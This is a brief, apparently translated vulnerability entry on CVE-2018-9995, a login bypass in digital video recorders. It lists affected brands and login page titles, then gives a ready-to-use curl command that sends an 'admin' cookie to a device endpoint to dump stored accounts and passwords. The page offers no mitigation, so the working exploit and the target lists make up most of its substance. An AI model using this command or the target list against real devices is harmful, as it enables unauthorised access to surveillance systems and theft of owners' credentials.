Dvr Login Bypass Vulnerability Cve 2018 9995

DVR Login Bypass Vulnerability CVE-2018-9995

Vulnerability Description

DVR, full name is Digital Video Recorder, that is, digital video recorder.

Vulnerability Impact

Novo

CeNova

QSee

Pulnix

XVR 5 in 1 (title: “XVR Login”)

Securus, - Security. Never Compromise !! -

Night OWL

DVR Login

HVR Login

MDVR Login

Vulnerability reappears

Use the curl command to obtain the account password

curl "https://xxx.xxx.xxx.xxx/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"